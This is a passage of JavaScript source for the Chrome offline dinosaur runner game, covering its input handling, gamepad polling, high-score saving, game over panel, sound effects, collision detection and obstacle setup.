e.type === Runner.events.POINTERDOWN &&
e.pointerType == 'mouse' && e.target == this.containerEl ||
(IS_IOS && e.pointerType == 'touch' &&
document.activeElement == this.containerEl);
if (Runner.keycodes.JUMP[e.keyCode] ||
e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
(Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
e.preventDefault();
// Starting the game for the first time.
if (!this.playing) {
// Started by touch so create a touch controller.
if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
this.createTouchController();
}
if (isMobileMouseInput) {
this.handleCanvasKeyPress(e);
}
this.loadSounds();
this.setPlayStatus(true);
this.update();
if (window.errorPageController) {
errorPageController.trackEasterEgg();
}
}
// Start jump.
if (!this.tRex.jumping && !this.tRex.ducking) {
if (Runner.audioCues) {
this.generatedSoundFx.cancelFootSteps();
} else {
this.playSound(this.soundFx.BUTTON_PRESS);
}
this.tRex.startJump(this.currentSpeed);
}
// Ducking is disabled on alt game modes.
} else if (
!this.altGameModeActive && this.playing &&
Runner.keycodes.DUCK[e.keyCode]) {
e.preventDefault();
if (this.tRex.jumping) {
// Speed drop, activated only when jump key is not pressed.
this.tRex.setSpeedDrop();
} else if (!this.tRex.jumping && !this.tRex.ducking) {
// Duck.
this.tRex.setDuck(true);
}
}
}
}
},
/**
* Process key up.
* @param {Event} e
*/
onKeyUp(e) {
const keyCode = String(e.keyCode);
const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;
if (this.isRunning() && isjumpKey) {
this.tRex.endJump();
} else if (Runner.keycodes.DUCK[keyCode]) {
this.tRex.speedDrop = false;
this.tRex.setDuck(false);
} else if (this.crashed) {
// Check that enough time has elapsed before allowing jump key to restart.
const deltaTime = getTimeStamp() - this.time;
if (this.isCanvasInView() &&
(Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
(deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
Runner.keycodes.JUMP[keyCode]))) {
this.handleGameOverClicks(e);
}
} else if (this.paused && isjumpKey) {
// Reset the jump state
this.tRex.reset();
this.play();
}
},
/**
* Process gamepad connected event.
* @param {Event} e
*/
onGamepadConnected(e) {
if (!this.pollingGamepads) {
this.pollGamepadState();
}
},
/**
* rAF loop for gamepad polling.
*/
pollGamepadState() {
const gamepads = navigator.getGamepads();
this.pollActiveGamepad(gamepads);
this.pollingGamepads = true;
requestAnimationFrame(this.pollGamepadState.bind(this));
},
/**
* Polls for a gamepad with the jump button pressed. If one is found this
* becomes the "active" gamepad and all others are ignored.
* @param {!Array<Gamepad>} gamepads
*/
pollForActiveGamepad(gamepads) {
for (let i = 0; i < gamepads.length; ++i) {
if (gamepads[i] && gamepads[i].buttons.length > 0 &&
gamepads[i].buttons[0].pressed) {
this.gamepadIndex = i;
this.pollActiveGamepad(gamepads);
return;
}
}
},
/**
* Polls the chosen gamepad for button presses and generates KeyboardEvents
* to integrate with the rest of the game logic.
* @param {!Array<Gamepad>} gamepads
*/
pollActiveGamepad(gamepads) {
if (this.gamepadIndex === undefined) {
this.pollForActiveGamepad(gamepads);
return;
}
const gamepad = gamepads[this.gamepadIndex];
if (!gamepad) {
this.gamepadIndex = undefined;
this.pollForActiveGamepad(gamepads);
return;
}
// The gamepad specification defines the typical mapping of physical buttons
// to button indicies: https://w3c.github.io/gamepad/#remapping
this.pollGamepadButton(gamepad, 0, 38); // Jump
if (gamepad.buttons.length >= 2) {
this.pollGamepadButton(gamepad, 1, 40); // Duck
}
if (gamepad.buttons.length >= 10) {
this.pollGamepadButton(gamepad, 9, 13); // Restart
}
this.previousGamepad = gamepad;
},
/**
* Generates a key event based on a gamepad button.
* @param {!Gamepad} gamepad
* @param {number} buttonIndex
* @param {number} keyCode
*/
pollGamepadButton(gamepad, buttonIndex, keyCode) {
const state = gamepad.buttons[buttonIndex].pressed;
let previousState = false;
if (this.previousGamepad) {
previousState = this.previousGamepad.buttons[buttonIndex].pressed;
}
// Generate key events on the rising and falling edge of a button press.
if (state !== previousState) {
const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
: Runner.events.KEYUP,
{ keyCode: keyCode });
document.dispatchEvent(e);
}
},
/**
* Handle interactions on the game over screen state.
* A user is able to tap the high score twice to reset it.
* @param {Event} e
*/
handleGameOverClicks(e) {
if (e.target != this.slowSpeedCheckbox) {
e.preventDefault();
if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
if (this.distanceMeter.isHighScoreFlashing()) {
// Subsequent click, reset the high score.
this.saveHighScore(0, true);
this.distanceMeter.resetHighScore();
} else {
// First click, flash the high score.
this.distanceMeter.startHighScoreFlashing();
}
} else {
this.distanceMeter.cancelHighScoreFlashing();
this.restart();
}
}
},
/**
* Returns whether the event was a left click on canvas.
* On Windows right click is registered as a click.
* @param {Event} e
* @return {boolean}
*/
isLeftClickOnCanvas(e) {
return e.button != null && e.button < 2 &&
e.type === Runner.events.POINTERUP &&
(e.target === this.canvas ||
(IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
},
/**
* RequestAnimationFrame wrapper.
*/
scheduleNextUpdate() {
if (!this.updatePending) {
this.updatePending = true;
this.raqId = requestAnimationFrame(this.update.bind(this));
}
},
/**
* Whether the game is running.
* @return {boolean}
*/
isRunning() {
return !!this.raqId;
},
/**
* Set the initial high score as stored in the user's profile.
* @param {number} highScore
*/
initializeHighScore(highScore) {
this.syncHighestScore = true;
highScore = Math.ceil(highScore);
if (highScore < this.highestScore) {
if (window.errorPageController) {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
return;
}
this.highestScore = highScore;
this.distanceMeter.setHighScore(this.highestScore);
},
/**
* Sets the current high score and saves to the profile if available.
* @param {number} distanceRan Total distance ran.
* @param {boolean=} opt_resetScore Whether to reset the score.
*/
saveHighScore(distanceRan, opt_resetScore) {
this.highestScore = Math.ceil(distanceRan);
this.distanceMeter.setHighScore(this.highestScore);
// Store the new high score in the profile.
if (this.syncHighestScore && window.errorPageController) {
if (opt_resetScore) {
errorPageController.resetEasterEggHighScore();
} else {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
}
},
/**
* Game over state.
*/
gameOver() {
this.playSound(this.soundFx.HIT);
vibrate(200);
this.stop();
this.crashed = true;
this.distanceMeter.achievement = false;
this.tRex.update(100, Trex.status.CRASHED);
// Game over panel.
if (!this.gameOverPanel) {
const origSpriteDef = IS_HIDPI ?
Runner.spriteDefinitionByType.original.HDPI :
Runner.spriteDefinitionByType.original.LDPI;
if (this.canvas) {
if (Runner.isAltGameModeEnabled) {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions, origSpriteDef.ALT_GAME_END,
this.altGameModeActive);
} else {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions);
}
}
}
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
// Update the high score.
if (this.distanceRan > this.highestScore) {
this.saveHighScore(this.distanceRan);
}
// Reset the time clock.
this.time = getTimeStamp();
if (Runner.audioCues) {
this.generatedSoundFx.stopAll();
announcePhrase(
getA11yString(A11Y_STRINGS.gameOver)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.distanceRan)
.toString()) +
' ' +
getA11yString(A11Y_STRINGS.highScore)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.highestScore)
.toString()));
this.containerEl.setAttribute(
'title', getA11yString(A11Y_STRINGS.ariaLabel));
}
this.showSpeedToggle();
this.disableSpeedToggle(false);
},
stop() {
this.setPlayStatus(false);
this.paused = true;
cancelAnimationFrame(this.raqId);
this.raqId = 0;
this.generatedSoundFx.stopAll();
},
play() {
if (!this.crashed) {
this.setPlayStatus(true);
this.paused = false;
this.tRex.update(0, Trex.status.RUNNING);
this.time = getTimeStamp();
this.update();
this.generatedSoundFx.background();
}
},
restart() {
if (!this.raqId) {
this.playCount++;
this.runningTime = 0;
this.setPlayStatus(true);
this.toggleSpeed();
this.paused = false;
this.crashed = false;
this.distanceRan = 0;
this.setSpeed(this.config.SPEED);
this.time = getTimeStamp();
this.containerEl.classList.remove(Runner.classes.CRASHED);
this.clearCanvas();
this.distanceMeter.reset();
this.horizon.reset();
this.tRex.reset();
this.playSound(this.soundFx.BUTTON_PRESS);
this.invert(true);
this.flashTimer = null;
this.update();
this.gameOverPanel.reset();
this.generatedSoundFx.background();
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
announcePhrase(getA11yString(A11Y_STRINGS.started));
}
},
setPlayStatus(isPlaying) {
if (this.touchController) {
this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
}
this.playing = isPlaying;
},
/**
* Whether the game should go into arcade mode.
* @return {boolean}
*/
isArcadeMode() {
// In RTL languages the title is wrapped with the left to right mark
// control characters ‪ and ‬ but are invisible.
return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
document.title === ARCADE_MODE_URL;
},
/**
* Hides offline messaging for a fullscreen game only experience.
*/
setArcadeMode() {
document.body.classList.add(Runner.classes.ARCADE_MODE);
this.setArcadeModeContainerScale();
},
/**
* Sets the scaling for arcade mode.
*/
setArcadeModeContainerScale() {
const windowHeight = window.innerHeight;
const scaleHeight = windowHeight / this.dimensions.HEIGHT;
const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
// Positions the game container at 10% of the available vertical window
// height minus the game container height.
const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
window.devicePixelRatio;
const cssScale = IS_RTL ? -scale + ',' + scale : scale;
this.containerEl.style.transform =
'scale(' + cssScale + ') translateY(' + translateY + 'px)';
},
/**
* Pause the game if the tab is not in focus.
*/
onVisibilityChange(e) {
if (document.hidden || document.webkitHidden || e.type === 'blur' ||
document.visibilityState !== 'visible') {
this.stop();
} else if (!this.crashed) {
this.tRex.reset();
this.play();
}
},
/**
* Play a sound.
* @param {AudioBuffer} soundBuffer
*/
playSound(soundBuffer) {
if (soundBuffer) {
const sourceNode = this.audioContext.createBufferSource();
sourceNode.buffer = soundBuffer;
sourceNode.connect(this.audioContext.destination);
sourceNode.start(0);
}
},
/**
* Inverts the current page / canvas colors.
* @param {boolean} reset Whether to reset colors.
*/
invert(reset) {
const htmlEl = document.firstElementChild;
if (reset) {
htmlEl.classList.toggle(Runner.classes.INVERTED,
false);
this.invertTimer = 0;
this.inverted = false;
} else {
this.inverted = htmlEl.classList.toggle(
Runner.classes.INVERTED, this.invertTrigger);
}
},
};
/**
* Updates the canvas size taking into
* account the backing store pixel ratio and
* the device pixel ratio.
*
* See article by Paul Lewis:
* http://www.html5rocks.com/en/tutorials/canvas/hidpi/
*
* @param {HTMLCanvasElement} canvas
* @param {number=} opt_width
* @param {number=} opt_height
* @return {boolean} Whether the canvas was scaled.
*/
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
const context =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
// Query the various pixel ratios
const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
/** @suppress {missingProperties} */
const backingStoreRatio =
Math.floor(context.webkitBackingStorePixelRatio) || 1;
const ratio = devicePixelRatio / backingStoreRatio;
// Upscale the canvas if the two ratios don't match
if (devicePixelRatio !== backingStoreRatio) {
const oldWidth = opt_width || canvas.width;
const oldHeight = opt_height || canvas.height;
canvas.width = oldWidth * ratio;
canvas.height = oldHeight * ratio;
canvas.style.width = oldWidth + 'px';
canvas.style.height = oldHeight + 'px';
// Scale the context to counter the fact that we've manually scaled
// our canvas element.
context.scale(ratio, ratio);
return true;
} else if (devicePixelRatio === 1) {
// Reset the canvas width / height. Fixes scaling bug when the page is
// zoomed and the devicePixelRatio changes accordingly.
canvas.style.width = canvas.width + 'px';
canvas.style.height = canvas.height + 'px';
}
return false;
};
/**
* Whether events are enabled.
* @return {boolean}
*/
Runner.isAltGameModeEnabled = function() {
return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};
/**
* Generated sound FX class for audio cues.
* @constructor
*/
function GeneratedSoundFx() {
this.audioCues = false;
this.context = null;
this.panner = null;
}
GeneratedSoundFx.prototype = {
init() {
this.audioCues = true;
if (!this.context) {
// iOS only supports the webkit version.
this.context = window.webkitAudioContext ? new webkitAudioContext() :
new AudioContext();
if (IS_IOS) {
this.context.onstatechange = (function() {
if (this.context.state != 'running') {
this.context.resume();
}
}).bind(this);
this.context.resume();
}
this.panner = this.context.createStereoPanner ?
this.context.createStereoPanner() :
null;
}
},
stopAll() {
this.cancelFootSteps();
},
/**
* Play oscillators at certain frequency and for a certain time.
* @param {number} frequency
* @param {number} startTime
* @param {number} duration
* @param {?number=} opt_vol
* @param {number=} opt_pan
*/
playNote(frequency, startTime, duration, opt_vol, opt_pan) {
const osc1 = this.context.createOscillator();
const osc2 = this.context.createOscillator();
const volume = this.context.createGain();
// Set oscillator wave type
osc1.type = 'triangle';
osc2.type = 'triangle';
volume.gain.value = 0.1;
// Set up node routing
if (this.panner) {
this.panner.pan.value = opt_pan || 0;
osc1.connect(volume).connect(this.panner);
osc2.connect(volume).connect(this.panner);
this.panner.connect(this.context.destination);
} else {
osc1.connect(volume);
osc2.connect(volume);
volume.connect(this.context.destination);
}
// Detune oscillators for chorus effect
osc1.frequency.value = frequency + 1;
osc2.frequency.value = frequency - 2;
// Fade out
volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);
// Start oscillators
osc1.start(startTime);
osc2.start(startTime);
// Stop oscillators
osc1.stop(startTime + duration);
osc2.stop(startTime + duration);
},
background() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(493.883, now, 0.116);
this.playNote(659.255, now + 0.116, 0.232);
this.loopFootSteps();
}
},
loopFootSteps() {
if (this.audioCues && !this.bgSoundIntervalId) {
this.bgSoundIntervalId = setInterval(function() {
this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
}.bind(this), 280);
}
},
cancelFootSteps() {
if (this.audioCues && this.bgSoundIntervalId) {
clearInterval(this.bgSoundIntervalId);
this.bgSoundIntervalId = null;
this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
}
},
collect() {
if (this.audioCues) {
this.cancelFootSteps();
const now = this.context.currentTime;
this.playNote(830.61, now, 0.116);
this.playNote(1318.51, now + 0.116, 0.232);
}
},
jump() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(659.25, now, 0.116, 0.3, -0.6);
this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
}
},
};
/**
* Speak a phrase using Speech Synthesis API for a11y.
* @param {string} phrase Sentence to speak.
*/
function speakPhrase(phrase) {
if ('speechSynthesis' in window) {
const msg = new SpeechSynthesisUtterance(phrase);
const voices = window.speechSynthesis.getVoices();
msg.text = phrase;
speechSynthesis.speak(msg);
}
}
/**
* For screen readers make an announcement to the live region.
* @param {string} phrase Sentence to speak.
*/
function announcePhrase(phrase) {
if (Runner.a11yStatusEl) {
Runner.a11yStatusEl.textContent = '';
Runner.a11yStatusEl.textContent = phrase;
}
}
/**
* Returns a string from loadTimeData data object.
* @param {string} stringName
* @return {string}
*/
function getA11yString(stringName) {
return loadTimeData && loadTimeData.valueExists(stringName) ?
loadTimeData.getString(stringName) :
'';
}
/**
* Get random number.
* @param {number} min
* @param {number} max
*/
function getRandomNum(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* Vibrate on mobile devices.
* @param {number} duration Duration of the vibration in milliseconds.
*/
function vibrate(duration) {
if (IS_MOBILE && window.navigator.vibrate) {
window.navigator.vibrate(duration);
}
}
/**
* Create canvas element.
* @param {Element} container Element to append canvas to.
* @param {number} width
* @param {number} height
* @param {string=} opt_classname
* @return {HTMLCanvasElement}
*/
function createCanvas(container, width, height, opt_classname) {
const canvas =
/** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
opt_classname : Runner.classes.CANVAS;
canvas.width = width;
canvas.height = height;
container.appendChild(canvas);
return canvas;
}
/**
* Decodes the base 64 audio to ArrayBuffer used by Web Audio.
* @param {string} base64String
*/
function decodeBase64ToArrayBuffer(base64String) {
const len = (base64String.length / 4) * 3;
const str = atob(base64String);
const arrayBuffer = new ArrayBuffer(len);
const bytes = new Uint8Array(arrayBuffer);
for (let i = 0; i < len; i++) {
bytes[i] = str.charCodeAt(i);
}
return bytes.buffer;
}
/**
* Return the current timestamp.
* @return {number}
*/
function getTimeStamp() {
return IS_IOS ? new Date().getTime() : performance.now();
}
//******************************************************************************
/**
* Game over panel.
* @param {!HTMLCanvasElement} canvas
* @param {Object} textImgPos
* @param {Object} restartImgPos
* @param {!Object} dimensions Canvas dimensions.
* @param {Object=} opt_altGameEndImgPos
* @param {boolean=} opt_altGameActive
* @constructor
*/
function GameOverPanel(
canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
opt_altGameActive) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.canvasDimensions = dimensions;
this.textImgPos = textImgPos;
this.restartImgPos = restartImgPos;
this.altGameEndImgPos = opt_altGameEndImgPos;
this.altGameModeActive = opt_altGameActive;
// Retry animation.
this.frameTimeStamp = 0;
this.animTimer = 0;
this.currentFrame = 0;
this.gameOverRafId = null;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
}
GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;
/**
* Animation frames spec.
*/
GameOverPanel.animConfig = {
frames: [0, 36, 72, 108, 144, 180, 216, 252],
msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};
/**
* Dimensions used in the panel.
* @enum {number}
*/
GameOverPanel.dimensions = {
TEXT_X: 0,
TEXT_Y: 13,
TEXT_WIDTH: 191,
TEXT_HEIGHT: 11,
RESTART_WIDTH: 36,
RESTART_HEIGHT: 32,
};
GameOverPanel.prototype = {
/**
* Update the panel dimensions.
* @param {number} width New canvas width.
* @param {number} opt_height Optional new canvas height.
*/
updateDimensions(width, opt_height) {
this.canvasDimensions.WIDTH = width;
if (opt_height) {
this.canvasDimensions.HEIGHT = opt_height;
}
this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
},
drawGameOverText(dimensions, opt_useAltText) {
const centerX = this.canvasDimensions.WIDTH / 2;
let textSourceX = dimensions.TEXT_X;
let textSourceY = dimensions.TEXT_Y;
let textSourceWidth = dimensions.TEXT_WIDTH;
let textSourceHeight = dimensions.TEXT_HEIGHT;
const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
const textTargetWidth = dimensions.TEXT_WIDTH;
const textTargetHeight = dimensions.TEXT_HEIGHT;
if (IS_HIDPI) {
textSourceY *= 2;
textSourceX *= 2;
textSourceWidth *= 2;
textSourceHeight *= 2;
}
if (!opt_useAltText) {
textSourceX += this.textImgPos.x;
textSourceY += this.textImgPos.y;
}
const spriteSource =
opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
// Game over text from sprite.
this.canvasCtx.drawImage(
spriteSource, textSourceX, textSourceY, textSourceWidth,
textSourceHeight, textTargetX, textTargetY, textTargetWidth,
textTargetHeight);
this.canvasCtx.restore();
},
/**
* Draw additional adornments for alternative game types.
*/
drawAltGameElements(tRex) {
// Additional adornments.
if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;
let altGameEndSourceWidth = altGameEndConfig.WIDTH;
let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;
if (IS_HIDPI) {
altGameEndSourceWidth *= 2;
altGameEndSourceHeight *= 2;
}
this.canvasCtx.drawImage(
Runner.altCommonImageSprite, this.altGameEndImgPos.x,
this.altGameEndImgPos.y, altGameEndSourceWidth,
altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
}
},
/**
* Draw restart button.
*/
drawRestartButton() {
const dimensions = GameOverPanel.dimensions;
let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
let restartSourceWidth = dimensions.RESTART_WIDTH;
let restartSourceHeight = dimensions.RESTART_HEIGHT;
const restartTargetX =
(this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
const restartTargetY = this.canvasDimensions.HEIGHT / 2;
if (IS_HIDPI) {
restartSourceWidth *= 2;
restartSourceHeight *= 2;
framePosX *= 2;
}
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
this.canvasCtx.drawImage(
Runner.origImageSprite, this.restartImgPos.x + framePosX,
this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
dimensions.RESTART_HEIGHT);
this.canvasCtx.restore();
},
/**
* Draw the panel.
* @param {boolean} opt_altGameModeActive
* @param {!Trex} opt_tRex
*/
draw(opt_altGameModeActive, opt_tRex) {
if (opt_altGameModeActive) {
this.altGameModeActive = opt_altGameModeActive;
}
this.drawGameOverText(GameOverPanel.dimensions, false);
this.drawRestartButton();
this.drawAltGameElements(opt_tRex);
this.update();
},
/**
* Update animation frames.
*/
update() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
this.frameTimeStamp = now;
this.animTimer += deltaTime;
this.flashTimer += deltaTime;
// Restart Button
if (this.currentFrame == 0 &&
this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
this.animTimer = 0;
this.currentFrame++;
this.drawRestartButton();
} else if (
this.currentFrame > 0 &&
this.currentFrame < GameOverPanel.animConfig.frames.length) {
if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
this.currentFrame++;
this.drawRestartButton();
}
} else if (
!this.altGameModeActive &&
this.currentFrame == GameOverPanel.animConfig.frames.length) {
this.reset();
return;
}
// Game over text
if (this.altGameModeActive &&
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
const altTextConfig =
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;
if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
this.flashTimer > altTextConfig.FLASH_DURATION) {
this.flashTimer = 0;
this.originalText = !this.originalText;
this.clearGameOverTextBounds();
if (this.originalText) {
this.drawGameOverText(GameOverPanel.dimensions, false);
this.flashCounter++;
} else {
this.drawGameOverText(altTextConfig, true);
}
} else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
this.reset();
return;
}
}
this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
},
/**
* Clear game over text.
*/
clearGameOverTextBounds() {
this.canvasCtx.save();
this.canvasCtx.clearRect(
Math.round(
this.canvasDimensions.WIDTH / 2 -
(GameOverPanel.dimensions.TEXT_WIDTH / 2)),
Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
GameOverPanel.dimensions.TEXT_WIDTH,
GameOverPanel.dimensions.TEXT_HEIGHT + 4);
this.canvasCtx.restore();
},
reset() {
if (this.gameOverRafId) {
cancelAnimationFrame(this.gameOverRafId);
this.gameOverRafId = null;
}
this.animTimer = 0;
this.frameTimeStamp = 0;
this.currentFrame = 0;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
},
};
//******************************************************************************
/**
* Check for a collision.
* @param {!Obstacle} obstacle
* @param {!Trex} tRex T-rex object.
* @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
* drawing collision boxes.
* @return {Array<CollisionBox>|undefined}
*/
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;
// Adjustments are made to the bounding box as there is a 1 pixel white
// border around the t-rex and obstacles.
const tRexBox = new CollisionBox(
tRex.xPos + 1,
tRex.yPos + 1,
tRex.config.WIDTH - 2,
tRex.config.HEIGHT - 2);
const obstacleBox = new CollisionBox(
obstacle.xPos + 1,
obstacle.yPos + 1,
obstacle.typeConfig.width * obstacle.size - 2,
obstacle.typeConfig.height - 2);
// Debug outer box
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
}
// Simple outer bounds check.
if (boxCompare(tRexBox, obstacleBox)) {
const collisionBoxes = obstacle.collisionBoxes;
let tRexCollisionBoxes = [];
if (Runner.isAltGameModeEnabled()) {
tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
} else {
tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
Trex.collisionBoxes.RUNNING;
}
// Detailed axis aligned box check.
for (let t = 0; t < tRexCollisionBoxes.length; t++) {
for (let i = 0; i < collisionBoxes.length; i++) {
// Adjust the box to actual positions.
const adjTrexBox =
createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
const adjObstacleBox =
createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
const crashed = boxCompare(adjTrexBox, adjObstacleBox);
// Draw boxes for debug.
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
}
if (crashed) {
return [adjTrexBox, adjObstacleBox];
}
}
}
}
}
/**
* Adjust the collision box.
* @param {!CollisionBox} box The original box.
* @param {!CollisionBox} adjustment Adjustment box.
* @return {CollisionBox} The adjusted collision box object.
*/
function createAdjustedCollisionBox(box, adjustment) {
return new CollisionBox(
box.x + adjustment.x,
box.y + adjustment.y,
box.width,
box.height);
}
/**
* Draw the collision boxes for debug.
*/
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
canvasCtx.save();
canvasCtx.strokeStyle = '#f00';
canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);
canvasCtx.strokeStyle = '#0f0';
canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
obstacleBox.width, obstacleBox.height);
canvasCtx.restore();
}
/**
* Compare two collision boxes for a collision.
* @param {CollisionBox} tRexBox
* @param {CollisionBox} obstacleBox
* @return {boolean} Whether the boxes intersected.
*/
function boxCompare(tRexBox, obstacleBox) {
let crashed = false;
const tRexBoxX = tRexBox.x;
const tRexBoxY = tRexBox.y;
const obstacleBoxX = obstacleBox.x;
const obstacleBoxY = obstacleBox.y;
// Axis-Aligned Bounding Box method.
if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
tRexBox.x + tRexBox.width > obstacleBoxX &&
tRexBox.y < obstacleBox.y + obstacleBox.height &&
tRexBox.height + tRexBox.y > obstacleBox.y) {
crashed = true;
}
return crashed;
}
//******************************************************************************
/**
* Collision box object.
* @param {number} x X position.
* @param {number} y Y Position.
* @param {number} w Width.
* @param {number} h Height.
* @constructor
*/
function CollisionBox(x, y, w, h) {
this.x = x;
this.y = y;
this.width = w;
this.height = h;
}
//******************************************************************************
/**
* Obstacle.
* @param {CanvasRenderingContext2D} canvasCtx
* @param {ObstacleType} type
* @param {Object} spriteImgPos Obstacle position in sprite.
* @param {Object} dimensions
* @param {number} gapCoefficient Mutipler in determining the gap.
* @param {number} speed
* @param {number=} opt_xOffset
* @param {boolean=} opt_isAltGameMode
* @constructor
*/
function Obstacle(
canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
opt_xOffset, opt_isAltGameMode) {
this.canvasCtx = canvasCtx;
this.spritePos = spriteImgPos;
this.typeConfig = type;
this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
this.dimensions = dimensions;
this.remove = false;
this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
this.yPos = 0;
this.width = 0;
this.collisionBoxes = [];
this.gap = 0;
this.speedOffset = 0;
this.altGameModeActive = opt_isAltGameMode;
this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
Runner.altCommonImageSprite :
this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;
// For animated obstacles.
this.currentFrame = 0;
this.timer = 0;
this.init(speed);
}
/**
* Coefficient for calculating the maximum gap.
*/
Obstacle.MAX_GAP_COEFFICIENT = 1.5;
/**
* Maximum obstacle grouping count.
*/
Obstacle.MAX_OBSTACLE_LENGTH = 3;
Obstacle.prototype = {
/**
* Initialise the DOM for the obstacle.
* @param {number} speed
*/
init(speed) {
this.cloneCollisionBoxes();
// Only allow sizing if we're at the right speed.
if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
this.size = 1;
}
this.width = this.typeConfig.width * this.size;
// Check if obstacle can be positioned at various heights.
if (Array.isArray(this.typeConfig.yPos)) {
const yPosConfig =
IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
